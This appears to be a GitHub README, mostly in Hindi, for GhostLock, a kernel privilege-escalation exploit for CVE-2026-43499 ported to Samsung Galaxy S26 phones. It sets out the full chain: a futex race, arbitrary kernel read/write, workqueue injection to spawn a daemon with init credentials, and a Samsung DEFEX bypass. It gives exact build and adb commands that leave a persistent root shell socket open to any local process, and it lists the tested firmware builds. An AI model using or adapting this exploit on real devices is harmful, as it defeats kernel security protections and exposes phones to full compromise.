
Galaxy S26 के लिए GhostLock (CVE-2026-43499)
CVE-2026-43499 को Samsung Galaxy S26 सीरीज़ के लिए पोर्ट किया गया — Android 16 / GKI 6.12। एक बाइनरी, तीन कर्नेल लाइनें, रनटाइम पर डायनामिक पैरामीटर मिलान: सैद्धांतिक रूप से बिना प्रति-बिल्ड संकलन के पूरी S26 सीरीज़ को कवर करता है।
अधिकांश GhostLock पोर्टिंग प्रयास एकल डिवाइस या एकल फ़र्मवेयर को लक्षित करते हैं। यह रिपॉजिटरी एक नया पोर्ट है जो S26 लक्ष्य के लिए हर तंत्र को फिर से लिखता है और पूरे परिवार को कवर करने की उम्मीद है।
snothin/CyberMeowfia को बनाए रखते हुए, मैंने पाया कि मूल pipe physrw चैनल अस्थिर था (इसने नेटवर्क काट दिया), इसलिए मैंने उस मार्ग को छोड़ दिया और विकल्पों की खोज की। बाद में मुझे पता चला कि monovibe उस रास्ते पर और आगे बढ़ चुका था जिसे मैं खोज रहा था; मैंने वह दृष्टिकोण अपनाया, और बार-बार डिबगिंग के बाद यह रिपॉजिटरी आकार ले सकी।
uid=0(root) context=u:r:kernel:s0 के रूप में चलता है; एक
abstract unix socket पर su_daemon के माध्यम से स्थायी root शेल।system_unbound_wq पर एक
work_struct गढ़ता है जिसका फ़ंक्शन call_usermodehelper_exec_work है, इसलिए कर्नेल
init क्रेड्स के साथ हमारे डेमन को चलाता है। क्रेडेंशियल पेजों पर KDP का EL2 गार्ड कभी
ट्रिगर नहीं होता।pselect + futex PI race
→ one aligned qword write per round
→ attr carrier (two fake misc fds)
controller fd retargets the data pointer
data fd reads/writes any kernel address
→ slide oracle (tracefs)
→ UMH root (workqueue injection)
system_unbound_wq
ptmx open/close storm wakes a worker
kernel execs daemon with init creds
→ DEFEX bypass (bind-mount)
→ su_daemon listens on /data/local/tmp/temp_su.sock
पैरामीटर कर्नेल लाइन द्वारा मिलाए जाते हैं (तीन लाइनें: cn, intl, exynos), न कि
व्यक्तिगत बिल्ड द्वारा। अज्ञात OTA बिल्ड मॉडल और CSC द्वारा सबसे नज़दीकी ज्ञात लाइन पर
वापस आ जाते हैं। पूरी तरह से अज्ञात मॉडल अस्वीकार कर दिए जाते हैं (fail-closed)। एम्बेडेड
बिल्ड सूची exploit/src/params_table.c में प्रामाणिक है।
नए डिवाइस या फ़र्मवेयर पर पोर्ट करते समय आवश्यक पैरामीटर के लिए PORTING.md देखें।
Android NDK (r26+) की आवश्यकता है। बस चलाएँ:
cd exploit
make preload
# produces build/bin/preload.so (exploit) and build/embed/su_daemon_aarch64_pie (embedded daemon)
preload.so, su_daemon_aarch64_pie और ksud को डिवाइस पर पुश करें (adb शेल
सत्र से चलाएँ, uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# Single attempt:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
एक्सप्लॉइट संभाव्य (एक रेस) है और आमतौर पर बार-बार प्रयासों की आवश्यकता होती है। एक
सफल रन पर, su_daemon /data/local/tmp/temp_su.sock पर सुनता है, और कोई भी
लोकल प्रक्रिया कनेक्ट कर सकती है।
बूट-क्लेम गार्ड (/data/local/tmp/ghostlock-boot.log) प्रत्येक बूट के रन के परिणाम को
रिकॉर्ड करता है; उसी बूट में दूसरा पूर्ण-चेन रन अस्वीकार कर दिया जाता है (यह डिवाइस को
क्रैश कर सकता है)। फ़ाइल साफ़ करें या ओवरराइड करने के लिए BOOT_FORCE=1 सेट करें।
exploit/src/kernelsnitch/ में वेंडर किया गया)यह रिपॉजिटरी Apache-2.0 लाइसेंस के अंतर्गत जारी की गई है; पूरा पाठ LICENSE में और कोड की उत्पत्ति NOTICE में देखें।
| मॉडल | डिवाइस कोडनेम | परीक्षित बिल्ड |
|---|
| SM-S942x (S26 Snapdragon) | m1q | S9420ZCS4AZG1, S942QOPU1AZDE, S942U1UES4AZG3, S942USQS4AZG3 |
| SM-S947x (S26+ Snapdragon) | m2q | S9470ZCS4AZG1, S947USQS4AZG3 |
| SM-S9480 (S26 Ultra CN) | m3q | S9480ZCS3AZF1, S9480ZCS4AZG1 (परीक्षित बिल्ड) |
| SM-S948x (S26 Ultra) | m3q | S9480ZHS4AZG1, S948BXXS4AZG5/6, S948NKSS4AZG3, S948U1UES2AZE1, S948USQS4AZG3 |
| SM-S942B (S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B (S26+ Exynos) | m2s | S947BXXS3AZF1, S947BXXS4AZG5 |